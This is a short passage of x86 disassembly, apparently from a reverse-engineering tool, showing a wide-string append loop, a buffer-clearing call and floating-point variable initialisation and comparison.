mov ecx, dword [ebp - 0x4890]
mov dx, word [ecx + 2]
mov word [ebp - 0x4a24], dx
add dword [ebp - 0x4890], 2
cmp word [ebp - 0x4a24], 0
jne 0x45037f
mov edi, dword [ebp - 0x4890]
mov esi, dword [ebp - 0x5f58]
mov eax, dword [ebp - 0x5f54]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x400
push 0
lea ecx, [ebp - 0x1978]
push ecx
call fcn.00a42f20
add esp, 0xc
mov dword [ebp - 0x3194], 0
mov dword [ebp - 0x319c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47ac], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46dc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46dc], xmm0
jmp 0x450426
movsd xmm0, qword [0xa6e8f8]
comisd xmm0, xmmword [ebp - 0x46dc]
jbe 0x4504d7